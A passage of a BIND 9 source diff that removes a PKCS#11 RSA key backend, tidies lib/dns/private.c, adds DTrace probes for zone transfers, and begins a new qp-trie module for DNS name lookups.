-		if (priv_explen != pub_explen) {
-			return (DST_R_INVALIDPRIVATEKEY);
-		}
-		if (!isc_safe_memequal(priv_exp, pub_exp, pub_explen)) {
-			return (DST_R_INVALIDPRIVATEKEY);
-		}
-	} else {
-		privattr->pValue = pub_exp;
-		privattr->ulValueLen = pub_explen;
-		pubattr->pValue = NULL;
-		pubattr->ulValueLen = 0;
-	}
-
-	if (privattr->pValue == NULL) {
-		return (DST_R_INVALIDPRIVATEKEY);
-	}
-
-	privattr = pk11_attribute_bytype(rsa, CKA_MODULUS);
-	INSIST(privattr != NULL);
-	priv_mod = privattr->pValue;
-	priv_modlen = privattr->ulValueLen;
-
-	pubattr = pk11_attribute_bytype(pubrsa, CKA_MODULUS);
-	INSIST(pubattr != NULL);
-	pub_mod = pubattr->pValue;
-	pub_modlen = pubattr->ulValueLen;
-
-	if (priv_mod != NULL) {
-		if (priv_modlen != pub_modlen) {
-			return (DST_R_INVALIDPRIVATEKEY);
-		}
-		if (!isc_safe_memequal(priv_mod, pub_mod, pub_modlen)) {
-			return (DST_R_INVALIDPRIVATEKEY);
-		}
-	} else {
-		privattr->pValue = pub_mod;
-		privattr->ulValueLen = pub_modlen;
-		pubattr->pValue = NULL;
-		pubattr->ulValueLen = 0;
-	}
-
-	if (privattr->pValue == NULL) {
-		return (DST_R_INVALIDPRIVATEKEY);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-pkcs11rsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
-	dst_private_t priv;
-	isc_result_t ret;
-	int i;
-	pk11_object_t *rsa;
-	CK_ATTRIBUTE *attr;
-	isc_mem_t *mctx = key->mctx;
-	const char *engine = NULL, *label = NULL;
-	unsigned int bits;
-
-	/* read private key file */
-	ret = dst__privstruct_parse(key, DST_ALG_RSA, lexer, mctx, &priv);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
-	}
-
-	if (key->external) {
-		if (priv.nelements != 0) {
-			DST_RET(DST_R_INVALIDPRIVATEKEY);
-		}
-		if (pub == NULL) {
-			DST_RET(DST_R_INVALIDPRIVATEKEY);
-		}
-
-		key->keydata.pkey = pub->keydata.pkey;
-		pub->keydata.pkey = NULL;
-		key->key_size = pub->key_size;
-
-		dst__privstruct_free(&priv, mctx);
-		isc_safe_memwipe(&priv, sizeof(priv));
-
-		return (ISC_R_SUCCESS);
-	}
-
-	for (i = 0; i < priv.nelements; i++) {
-		switch (priv.elements[i].tag) {
-		case TAG_RSA_ENGINE:
-			engine = (char *)priv.elements[i].data;
-			break;
-		case TAG_RSA_LABEL:
-			label = (char *)priv.elements[i].data;
-			break;
-		default:
-			break;
-		}
-	}
-	rsa = isc_mem_get(key->mctx, sizeof(*rsa));
-	memset(rsa, 0, sizeof(*rsa));
-	key->keydata.pkey = rsa;
-
-	/* Is this key is stored in a HSM? See if we can fetch it. */
-	if ((label != NULL) || (engine != NULL)) {
-		ret = pkcs11rsa_fetch(key, engine, label, pub);
-		if (ret != ISC_R_SUCCESS) {
-			goto err;
-		}
-		dst__privstruct_free(&priv, mctx);
-		isc_safe_memwipe(&priv, sizeof(priv));
-		return (ret);
-	}
-
-	rsa->repr = isc_mem_get(key->mctx, sizeof(*attr) * 8);
-	memset(rsa->repr, 0, sizeof(*attr) * 8);
-	rsa->attrcnt = 8;
-	attr = rsa->repr;
-	attr[0].type = CKA_MODULUS;
-	attr[1].type = CKA_PUBLIC_EXPONENT;
-	attr[2].type = CKA_PRIVATE_EXPONENT;
-	attr[3].type = CKA_PRIME_1;
-	attr[4].type = CKA_PRIME_2;
-	attr[5].type = CKA_EXPONENT_1;
-	attr[6].type = CKA_EXPONENT_2;
-	attr[7].type = CKA_COEFFICIENT;
-
-	for (i = 0; i < priv.nelements; i++) {
-		CK_BYTE *bn;
-
-		switch (priv.elements[i].tag) {
-		case TAG_RSA_ENGINE:
-			continue;
-		case TAG_RSA_LABEL:
-			continue;
-		default:
-			bn = isc_mem_get(key->mctx, priv.elements[i].length);
-			memmove(bn, priv.elements[i].data,
-				priv.elements[i].length);
-		}
-
-		switch (priv.elements[i].tag) {
-		case TAG_RSA_MODULUS:
-			attr = pk11_attribute_bytype(rsa, CKA_MODULUS);
-			INSIST(attr != NULL);
-			attr->pValue = bn;
-			attr->ulValueLen = priv.elements[i].length;
-			break;
-		case TAG_RSA_PUBLICEXPONENT:
-			attr = pk11_attribute_bytype(rsa, CKA_PUBLIC_EXPONENT);
-			INSIST(attr != NULL);
-			attr->pValue = bn;
-			attr->ulValueLen = priv.elements[i].length;
-			break;
-		case TAG_RSA_PRIVATEEXPONENT:
-			attr = pk11_attribute_bytype(rsa, CKA_PRIVATE_EXPONENT);
-			INSIST(attr != NULL);
-			attr->pValue = bn;
-			attr->ulValueLen = priv.elements[i].length;
-			break;
-		case TAG_RSA_PRIME1:
-			attr = pk11_attribute_bytype(rsa, CKA_PRIME_1);
-			INSIST(attr != NULL);
-			attr->pValue = bn;
-			attr->ulValueLen = priv.elements[i].length;
-			break;
-		case TAG_RSA_PRIME2:
-			attr = pk11_attribute_bytype(rsa, CKA_PRIME_2);
-			INSIST(attr != NULL);
-			attr->pValue = bn;
-			attr->ulValueLen = priv.elements[i].length;
-			break;
-		case TAG_RSA_EXPONENT1:
-			attr = pk11_attribute_bytype(rsa, CKA_EXPONENT_1);
-			INSIST(attr != NULL);
-			attr->pValue = bn;
-			attr->ulValueLen = priv.elements[i].length;
-			break;
-		case TAG_RSA_EXPONENT2:
-			attr = pk11_attribute_bytype(rsa, CKA_EXPONENT_2);
-			INSIST(attr != NULL);
-			attr->pValue = bn;
-			attr->ulValueLen = priv.elements[i].length;
-			break;
-		case TAG_RSA_COEFFICIENT:
-			attr = pk11_attribute_bytype(rsa, CKA_COEFFICIENT);
-			INSIST(attr != NULL);
-			attr->pValue = bn;
-			attr->ulValueLen = priv.elements[i].length;
-			break;
-		}
-	}
-
-	if (rsa_check(rsa, pub->keydata.pkey) != ISC_R_SUCCESS) {
-		DST_RET(DST_R_INVALIDPRIVATEKEY);
-	}
-
-	attr = pk11_attribute_bytype(rsa, CKA_MODULUS);
-	INSIST(attr != NULL);
-	ret = pk11_numbits(attr->pValue, attr->ulValueLen, &bits);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-	key->key_size = bits;
-
-	attr = pk11_attribute_bytype(rsa, CKA_PUBLIC_EXPONENT);
-	INSIST(attr != NULL);
-
-	ret = pk11_numbits(attr->pValue, attr->ulValueLen, &bits);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-	if (bits > RSA_MAX_PUBEXP_BITS) {
-		DST_RET(ISC_R_RANGE);
-	}
-
-	dst__privstruct_free(&priv, mctx);
-	isc_safe_memwipe(&priv, sizeof(priv));
-
-	return (ISC_R_SUCCESS);
-
-err:
-	pkcs11rsa_destroy(key);
-	dst__privstruct_free(&priv, mctx);
-	isc_safe_memwipe(&priv, sizeof(priv));
-	return (ret);
-}
-
-static isc_result_t
-pkcs11rsa_fromlabel(dst_key_t *key, const char *engine, const char *label,
-		    const char *pin) {
-	CK_RV rv;
-	CK_OBJECT_HANDLE hKey = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS keyClass = CKO_PUBLIC_KEY;
-	CK_KEY_TYPE keyType = CKK_RSA;
-	CK_ATTRIBUTE searchTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_LABEL, NULL, 0 }
-	};
-	CK_ULONG cnt;
-	CK_ATTRIBUTE *attr;
-	pk11_object_t *rsa;
-	pk11_context_t *pk11_ctx = NULL;
-	isc_result_t ret;
-	unsigned int i;
-	unsigned int bits;
-
-	UNUSED(pin);
-
-	rsa = isc_mem_get(key->mctx, sizeof(*rsa));
-	memset(rsa, 0, sizeof(*rsa));
-	rsa->object = CK_INVALID_HANDLE;
-	rsa->ontoken = true;
-	rsa->reqlogon = true;
-	key->keydata.pkey = rsa;
-
-	rsa->repr = isc_mem_get(key->mctx, sizeof(*attr) * 2);
-	memset(rsa->repr, 0, sizeof(*attr) * 2);
-	rsa->attrcnt = 2;
-	attr = rsa->repr;
-	attr[0].type = CKA_MODULUS;
-	attr[1].type = CKA_PUBLIC_EXPONENT;
-
-	ret = pk11_parse_uri(rsa, label, key->mctx, OP_RSA);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	pk11_ctx = isc_mem_get(key->mctx, sizeof(*pk11_ctx));
-	ret = pk11_get_session(pk11_ctx, OP_RSA, true, false, rsa->reqlogon,
-			       NULL, rsa->slot);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	attr = pk11_attribute_bytype(rsa, CKA_LABEL);
-	if (attr == NULL) {
-		attr = pk11_attribute_bytype(rsa, CKA_ID);
-		INSIST(attr != NULL);
-		searchTemplate[3].type = CKA_ID;
-	}
-	searchTemplate[3].pValue = attr->pValue;
-	searchTemplate[3].ulValueLen = attr->ulValueLen;
-
-	PK11_RET(pkcs_C_FindObjectsInit,
-		 (pk11_ctx->session, searchTemplate, (CK_ULONG)4),
-		 DST_R_CRYPTOFAILURE);
-	PK11_RET(pkcs_C_FindObjects,
-		 (pk11_ctx->session, &hKey, (CK_ULONG)1, &cnt),
-		 DST_R_CRYPTOFAILURE);
-	(void)pkcs_C_FindObjectsFinal(pk11_ctx->session);
-	if (cnt == 0) {
-		DST_RET(ISC_R_NOTFOUND);
-	}
-	if (cnt > 1) {
-		DST_RET(ISC_R_EXISTS);
-	}
-
-	attr = rsa->repr;
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, hKey, attr, 2),
-		 DST_R_CRYPTOFAILURE);
-	for (i = 0; i <= 1; i++) {
-		attr[i].pValue = isc_mem_get(key->mctx, attr[i].ulValueLen);
-		memset(attr[i].pValue, 0, attr[i].ulValueLen);
-	}
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, hKey, attr, 2),
-		 DST_R_CRYPTOFAILURE);
-
-	keyClass = CKO_PRIVATE_KEY;
-	PK11_RET(pkcs_C_FindObjectsInit,
-		 (pk11_ctx->session, searchTemplate, (CK_ULONG)4),
-		 DST_R_CRYPTOFAILURE);
-	PK11_RET(pkcs_C_FindObjects,
-		 (pk11_ctx->session, &rsa->object, (CK_ULONG)1, &cnt),
-		 DST_R_CRYPTOFAILURE);
-	(void)pkcs_C_FindObjectsFinal(pk11_ctx->session);
-	if (cnt == 0) {
-		DST_RET(ISC_R_NOTFOUND);
-	}
-	if (cnt > 1) {
-		DST_RET(ISC_R_EXISTS);
-	}
-
-	if (engine != NULL) {
-		key->engine = isc_mem_strdup(key->mctx, engine);
-	}
-
-	key->label = isc_mem_strdup(key->mctx, label);
-
-	attr = pk11_attribute_bytype(rsa, CKA_PUBLIC_EXPONENT);
-	INSIST(attr != NULL);
-
-	ret = pk11_numbits(attr->pValue, attr->ulValueLen, &bits);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-	if (bits > RSA_MAX_PUBEXP_BITS) {
-		DST_RET(ISC_R_RANGE);
-	}
-
-	attr = pk11_attribute_bytype(rsa, CKA_MODULUS);
-	INSIST(attr != NULL);
-	ret = pk11_numbits(attr->pValue, attr->ulValueLen, &bits);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-	key->key_size = bits;
-
-	pk11_return_session(pk11_ctx);
-	isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	return (ISC_R_SUCCESS);
-
-err:
-	pkcs11rsa_destroy(key);
-	if (pk11_ctx != NULL) {
-		pk11_return_session(pk11_ctx);
-		isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-		isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	}
-
-	return (ret);
-}
-
-static dst_func_t pkcs11rsa_functions = {
-	pkcs11rsa_createctx,
-#ifndef PK11_RSA_PKCS_REPLACE
-	pkcs11rsa_createctx2,
-#else  /* ifndef PK11_RSA_PKCS_REPLACE */
-	NULL, /*%< createctx2 */
-#endif /* ifndef PK11_RSA_PKCS_REPLACE */
-	pkcs11rsa_destroyctx,
-	pkcs11rsa_adddata,
-	pkcs11rsa_sign,
-	pkcs11rsa_verify,
-	NULL, /*%< verify2 */
-	NULL, /*%< computesecret */
-	pkcs11rsa_compare,
-	NULL, /*%< paramcompare */
-	pkcs11rsa_generate,
-	pkcs11rsa_isprivate,
-	pkcs11rsa_destroy,
-	pkcs11rsa_todns,
-	pkcs11rsa_fromdns,
-	pkcs11rsa_tofile,
-	pkcs11rsa_parse,
-	NULL, /*%< cleanup */
-	pkcs11rsa_fromlabel,
-	NULL, /*%< dump */
-	NULL, /*%< restore */
-};
-
-isc_result_t
-dst__pkcs11rsa_init(dst_func_t **funcp) {
-	REQUIRE(funcp != NULL);
-
-	if (*funcp == NULL) {
-		*funcp = &pkcs11rsa_functions;
-	}
-	return (ISC_R_SUCCESS);
-}
diff --git a/lib/dns/private.c b/lib/dns/private.c
index c0f5eede8b..35ccda0223 100644
--- a/lib/dns/private.c
+++ b/lib/dns/private.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,7 +14,6 @@
 #include <stdbool.h>
 
 #include <isc/base64.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/string.h>
 #include <isc/types.h>
@@ -70,7 +71,8 @@ ignore(dns_rdata_t *param, dns_rdataset_t *privateset) {
 
 		dns_rdataset_current(privateset, &private);
 		if (!dns_nsec3param_fromprivate(&private, &rdata, buf,
-						sizeof(buf))) {
+						sizeof(buf)))
+		{
 			continue;
 		}
 		/*
@@ -176,7 +178,8 @@ dns_private_chains(dns_db_t *db, dns_dbversion_t *ver,
 
 			dns_rdataset_current(&privateset, &private);
 			if (!dns_nsec3param_fromprivate(&private, &rdata, buf,
-							sizeof(buf))) {
+							sizeof(buf)))
+			{
 				continue;
 			}
 			if (REMOVE(rdata.data[1])) {
@@ -213,7 +216,8 @@ dns_private_chains(dns_db_t *db, dns_dbversion_t *ver,
 
 			dns_rdataset_current(&privateset, &private);
 			if (!dns_nsec3param_fromprivate(&private, &rdata, buf,
-							sizeof(buf))) {
+							sizeof(buf)))
+			{
 				continue;
 			}
 			if (CREATE(rdata.data[1])) {
@@ -281,7 +285,8 @@ dns_private_chains(dns_db_t *db, dns_dbversion_t *ver,
 
 		dns_rdataset_current(&privateset, &private);
 		if (!dns_nsec3param_fromprivate(&private, &rdata, buf,
-						sizeof(buf))) {
+						sizeof(buf)))
+		{
 			/*
 			 * Look for record that says we are signing the
 			 * zone with a key.
@@ -345,7 +350,8 @@ dns_private_totext(dns_rdata_t *private, isc_buffer_t *buf) {
 		isc_buffer_t b;
 
 		if (!dns_nsec3param_fromprivate(private, &rdata, nsec3buf,
-						sizeof(nsec3buf))) {
+						sizeof(nsec3buf)))
+		{
 			CHECK(ISC_R_FAILURE);
 		}
 
@@ -381,7 +387,8 @@ dns_private_totext(dns_rdata_t *private, isc_buffer_t *buf) {
 	} else if (private->length == 5) {
 		unsigned char alg = private->data[0];
 		dns_keytag_t keyid = (private->data[2] | private->data[1] << 8);
-		char keybuf[BUFSIZ], algbuf[DNS_SECALG_FORMATSIZE];
+		char keybuf[DNS_SECALG_FORMATSIZE + BUFSIZ],
+			algbuf[DNS_SECALG_FORMATSIZE];
 		bool del = private->data[3];
 		bool complete = private->data[4];
 
diff --git a/lib/dns/probes.d b/lib/dns/probes.d
new file mode 100644
index 0000000000..2d9f2c3d62
--- /dev/null
+++ b/lib/dns/probes.d
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+provider libdns {
+	probe xfrin_axfr_finalize_begin(void *, char *);
+	probe xfrin_axfr_finalize_end(void *, char *, int);
+	probe xfrin_connected(void *, char *, int);
+	probe xfrin_done_callback_begin(void *, char *, int);
+	probe xfrin_done_callback_end(void *, char *, int);
+	probe xfrin_journal_destroy_begin(void *, char *, int);
+	probe xfrin_journal_destroy_end(void *, char *, int);
+	probe xfrin_read(void *, char *, int);
+	probe xfrin_recv_answer(void *, char *, void *);
+	probe xfrin_recv_done(void *, char *, int);
+	probe xfrin_recv_parsed(void *, char *, int);
+	probe xfrin_recv_question(void *, char *, void *);
+	probe xfrin_recv_send_request(void *, char *);
+	probe xfrin_recv_start(void *, char *, int);
+	probe xfrin_recv_try_axfr(void *, char *, int);
+	probe xfrin_sent(void *, char *, int);
+	probe xfrin_start(void *, char *);
+};
diff --git a/lib/dns/qp.c b/lib/dns/qp.c
new file mode 100644
index 0000000000..e416bf8085
--- /dev/null
+++ b/lib/dns/qp.c
@@ -0,0 +1,1908 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * For an overview, see doc/design/qp-trie.md
+ */
+
+#include <inttypes.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <string.h>
+
+#if FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION
+#include <sys/mman.h>
+#include <unistd.h>
+#endif
+
+#include <isc/atomic.h>
+#include <isc/buffer.h>
+#include <isc/magic.h>
+#include <isc/mem.h>
+#include <isc/mutex.h>
+#include <isc/refcount.h>
+#include <isc/result.h>
+#include <isc/rwlock.h>
+#include <isc/tid.h>
+#include <isc/time.h>
+#include <isc/types.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+
+#include <dns/fixedname.h>
+#include <dns/log.h>
+#include <dns/name.h>
+#include <dns/qp.h>
+#include <dns/types.h>
+
+#include "qp_p.h"
+
+#ifndef DNS_QP_LOG_STATS
+#define DNS_QP_LOG_STATS 1
+#endif
+#ifndef DNS_QP_TRACE
+#define DNS_QP_TRACE 0
+#endif
+
+/*
+ * very basic garbage collector statistics
+ *
+ * XXXFANF for now we're logging GC times, but ideally we should
+ * accumulate stats more quietly and report via the statschannel
+ */
+static atomic_uint_fast64_t compact_time;
+static atomic_uint_fast64_t recycle_time;
+static atomic_uint_fast64_t rollback_time;
+
+/* for LOG_STATS() format strings */
+#define PRItime " %" PRIu64 " ns "
+
+#if DNS_QP_LOG_STATS
+#define LOG_STATS(...)                                                      \
+	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_QP, \
+		      ISC_LOG_DEBUG(1), __VA_ARGS__)
+#else
+#define LOG_STATS(...)
+#endif
+
+#if DNS_QP_TRACE
+/*
+ * TRACE is generally used in allocation-related functions so it doesn't
+ * trace very high-frequency ops
+ */
+#define TRACE(fmt, ...)                                                        \
+	do {                                                                   \
+		if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(7))) {            \
+			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,      \
+				      DNS_LOGMODULE_QP, ISC_LOG_DEBUG(7),      \
+				      "%s:%d:%s(qp %p uctx \"%s\"):t%u: " fmt, \
+				      __FILE__, __LINE__, __func__, qp,        \
+				      qp ? TRIENAME(qp) : "(null)", isc_tid(), \
+				      ##__VA_ARGS__);                          \
+		}                                                              \
+	} while (0)
+#else
+#define TRACE(...)
+#endif
+
+/***********************************************************************
+ *
+ *  converting DNS names to trie keys
+ */
+
+/*
+ * Number of distinct byte values, i.e. 256
+ */
+#define BYTE_VALUES (UINT8_MAX + 1)
+
+/*
+ * Lookup table mapping bytes in DNS names to bit positions, used
+ * by dns_qpkey_fromname() to convert DNS names to qp-trie keys.
+ *
+ * Each element holds one or two bit positions, bit_one in the
+ * lower half and bit_two in the upper half.
+ *
+ * For common hostname characters, bit_two is zero (which cannot
+ * be a valid bit position).
+ *
+ * For others, bit_one is the escape bit, and bit_two is the
+ * position of the character within the escaped range.
+ */
+uint16_t dns_qp_bits_for_byte[BYTE_VALUES] = { 0 };
+
+/*
+ * And the reverse, mapping bit positions to characters, so the tests
+ * can print diagnostics involving qp-trie keys.
+ *
+ * This table only handles the first bit in an escape sequence; we
+ * arrange that we can calculate the byte value for both bits by
+ * adding the the second bit to the first bit's byte value.
+ */
+uint8_t dns_qp_byte_for_bit[SHIFT_OFFSET] = { 0 };
+
+/*
+ * Fill in the lookup tables at program startup. (It doesn't matter
+ * when this is initialized relative to other startup code.)
+ */
+static void
+initialize_bits_for_byte(void) ISC_CONSTRUCTOR;
+
+/*
+ * The bit positions for bytes inside labels have to be between
+ * SHIFT_BITMAP and SHIFT_OFFSET. (SHIFT_NOBYTE separates labels.)
+ *
+ * Each byte range in between common hostname characters has a different
+ * escape character, to preserve the correct lexical order.
+ *
+ * Escaped byte ranges mostly fit into the space available in the
+ * bitmap, except for those above 'z' (which is mostly bytes with the
+ * top bit set). So, when we reach the end of the bitmap we roll over
+ * to the next escape character.
+ *
+ * After filling the table we ensure that the bit positions for
+ * hostname characters and escape characters all fit.
+ */
+static void
+initialize_bits_for_byte(void) {
+	/* zero common character marker not a valid shift position */
+	INSIST(0 < SHIFT_BITMAP);
+	/* first bit is common byte or escape byte */
+	qp_shift_t bit_one = SHIFT_BITMAP;
+	/* second bit is position in escaped range */
+	qp_shift_t bit_two = SHIFT_BITMAP;
+	bool escaping = true;
+
+	for (unsigned int byte = 0; byte < BYTE_VALUES; byte++) {
+		if (qp_common_character(byte)) {
+			escaping = false;
+			bit_one++;
+			dns_qp_byte_for_bit[bit_one] = byte;
+			dns_qp_bits_for_byte[byte] = bit_one;
+		} else if ('A' <= byte && byte <= 'Z') {
+			/* map upper case to lower case */
+			qp_shift_t after_esc = bit_one + 1;
+			qp_shift_t skip_punct = 'a' - '_';
+			qp_shift_t letter = byte - 'A';
+			qp_shift_t bit = after_esc + skip_punct + letter;
+			dns_qp_bits_for_byte[byte] = bit;
+			/* to simplify reverse conversion in the tests */
+			bit_two++;
+		} else {
+			/* non-hostname characters need to be escaped */
+			if (!escaping || bit_two >= SHIFT_OFFSET) {
+				escaping = true;
+				bit_one++;
+				dns_qp_byte_for_bit[bit_one] = byte;
+				bit_two = SHIFT_BITMAP;
+			}
+			dns_qp_bits_for_byte[byte] = bit_two << 8 | bit_one;
+			bit_two++;
+		}
+	}
+	ENSURE(bit_one < SHIFT_OFFSET);
+}
+
+/*
+ * Convert a DNS name into a trie lookup key.
+ *
+ * Returns the length of the key.
+ *
+ * For performance we get our hands dirty in the guts of the name.
+ *
+ * We don't worry about the distinction between absolute and relative
+ * names. When the trie is only used with absolute names, the first byte
+ * of the key will always be SHIFT_NOBYTE and it will always be skipped
+ * when traversing the trie. So keeping the root label costs little, and
+ * it allows us to support tries of relative names too. In fact absolute
+ * and relative names can be mixed in the same trie without causing
+ * confusion, because the presence or absence of the initial
+ * SHIFT_NOBYTE in the key disambiguates them (exactly like a trailing
+ * dot in a zone file).
+ */
+size_t
+dns_qpkey_fromname(dns_qpkey_t key, const dns_name_t *name) {
+	size_t len, label;
+	dns_fixedname_t fixed;
+
+	REQUIRE(ISC_MAGIC_VALID(name, DNS_NAME_MAGIC));
+	REQUIRE(name->labels > 0);
+
+	if (name->offsets == NULL) {
+		dns_name_t *clone = dns_fixedname_initname(&fixed);
+		dns_name_clone(name, clone);
+		name = clone;
+	}
+
+	len = 0;
+	label = name->labels;
+	while (label-- > 0) {
+		const uint8_t *ldata = name->ndata + name->offsets[label];
+		size_t label_len = *ldata++;
+		while (label_len-- > 0) {
+			uint16_t bits = dns_qp_bits_for_byte[*ldata++];
+			key[len++] = bits & 0xFF;	/* bit_one */
+			if ((bits >> 8) != 0) {		/* escape? */
+				key[len++] = bits >> 8; /* bit_two */
+			}
+		}
+		/* label terminator */
+		key[len++] = SHIFT_NOBYTE;
+	}
+	/* mark end with a double NOBYTE */
+	key[len] = SHIFT_NOBYTE;
+	ENSURE(len < sizeof(dns_qpkey_t));
+	return (len);
+}
+
+/*
+ * Sentinel value for equal keys
+ */
+#define QPKEY_EQUAL (~(size_t)0)
+
+/*
+ * Compare two keys and return the offset where they differ.
+ *
+ * This offset is used to work out where a trie search diverged: when one
+ * of the keys is in the trie and one is not, the common prefix (up to the
+ * offset) is the part of the unknown key that exists in the trie. This
+ * matters for adding new keys or finding neighbours of missing keys.
+ *
+ * When the keys are different lengths it is possible (but unwise) for
+ * the longer key to be the same as the shorter key but with superfluous
+ * trailing SHIFT_NOBYTE elements. This makes the keys equal for the
+ * purpose of traversing the trie.
+ */
+static size_t
+qpkey_compare(const dns_qpkey_t key_a, const size_t keylen_a,
+	      const dns_qpkey_t key_b, const size_t keylen_b) {
+	size_t keylen = ISC_MAX(keylen_a, keylen_b);
+	for (size_t offset = 0; offset < keylen; offset++) {
+		if (qpkey_bit(key_a, keylen_a, offset) !=
+		    qpkey_bit(key_b, keylen_b, offset))
+		{
+			return (offset);
+		}
+	}
+	return (QPKEY_EQUAL);
+}
+
+/*
+ * Given a key constructed by dns_qpkey_fromname(), trim it down to the last
+ * label boundary before the `max` length.
+ *
+ * This is used when searching a trie for the best match for a name.
+ */
+static size_t
+qpkey_trim_label(dns_qpkey_t key, size_t len, size_t max) {
+	size_t stop = 0;
+	for (size_t offset = 0; offset < max; offset++) {
+		if (qpkey_bit(key, len, offset) == SHIFT_NOBYTE &&
+		    qpkey_bit(key, len, offset + 1) != SHIFT_NOBYTE)
+		{
+			stop = offset + 1;
+		}
+	}
+	return (stop);
+}
+
+/***********************************************************************
+ *
+ *  allocator wrappers
+ */
+
+#if FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION
+
+/*
+ * Optionally (for debugging) during a copy-on-write transaction, use
+ * memory protection to ensure that the shared chunks are not modified.
+ * Once a chunk becomes shared, it remains read-only until it is freed.
+ * POSIX says we have to use mmap() to get an allocation that we can
+ * definitely pass to mprotect().
+ */
+
+static size_t
+chunk_size_raw(void) {
+	size_t size = (size_t)sysconf(_SC_PAGE_SIZE);
+	return (ISC_MAX(size, QP_CHUNK_BYTES));
+}
+
+static void *
+chunk_get_raw(dns_qp_t *qp) {
+	if (qp->write_protect) {
+		size_t size = chunk_size_raw();
+		void *ptr = mmap(NULL, size, PROT_READ | PROT_WRITE,
+				 MAP_ANON | MAP_PRIVATE, -1, 0);
+		RUNTIME_CHECK(ptr != MAP_FAILED);
+		return (ptr);
+	} else {
+		return (isc_mem_allocate(qp->mctx, QP_CHUNK_BYTES));
+	}
+}
+
+static void
+chunk_free_raw(dns_qp_t *qp, void *ptr) {
+	if (qp->write_protect) {
+		RUNTIME_CHECK(munmap(ptr, chunk_size_raw()) == 0);
+	} else {
+		isc_mem_free(qp->mctx, ptr);
+	}
+}
+
+static void *
+chunk_shrink_raw(dns_qp_t *qp, void *ptr, size_t bytes) {
+	if (qp->write_protect) {
+		return (ptr);
+	} else {
+		return (isc_mem_reallocate(qp->mctx, ptr, bytes));
+	}
+}
+
+static void
+write_protect(dns_qp_t *qp, qp_chunk_t chunk) {
+	if (qp->write_protect) {
+		/* see transaction_open() wrt this special case */
+		if (qp->transaction_mode == QP_WRITE && chunk == qp->bump) {
+			return;
+		}
+		TRACE("chunk %u", chunk);
+		void *ptr = qp->base->ptr[chunk];
+		size_t size = chunk_size_raw();
+		RUNTIME_CHECK(mprotect(ptr, size, PROT_READ) >= 0);
+	}
+}
+
+#else
+
+#define chunk_get_raw(qp)	isc_mem_allocate(qp->mctx, QP_CHUNK_BYTES)
+#define chunk_free_raw(qp, ptr) isc_mem_free(qp->mctx, ptr)
+
+#define chunk_shrink_raw(qp, ptr, size) isc_mem_reallocate(qp->mctx, ptr, size)
+
+#define write_protect(qp, chunk)
+
+#endif
+
+/***********************************************************************
+ *
+ *  allocator
+ */
+
+/*
+ * When we reuse the bump chunk across multiple write transactions,
+ * it can have an immutable prefix and a mutable suffix.
+ */
+static inline bool
+cells_immutable(dns_qp_t *qp, qp_ref_t ref) {
+	qp_chunk_t chunk = ref_chunk(ref);
+	qp_cell_t cell = ref_cell(ref);
+	if (chunk == qp->bump) {
+		return (cell < qp->fender);
+	} else {
+		return (qp->usage[chunk].immutable);
+	}
+}
+
+/*
+ * Create a fresh bump chunk and allocate some twigs from it.
+ */
+static qp_ref_t
+chunk_alloc(dns_qp_t *qp, qp_chunk_t chunk, qp_weight_t size) {
+	INSIST(qp->base->ptr[chunk] == NULL);
+	INSIST(qp->usage[chunk].used == 0);
+	INSIST(qp->usage[chunk].free == 0);
+
+	qp->base->ptr[chunk] = chunk_get_raw(qp);
+	qp->usage[chunk] = (qp_usage_t){ .exists = true, .used = size };
+	qp->used_count += size;
+	qp->bump = chunk;
+	qp->fender = 0;
+
+	if (qp->write_protect) {
+		TRACE("chunk %u base %p", chunk, qp->base->ptr[chunk]);
+	}
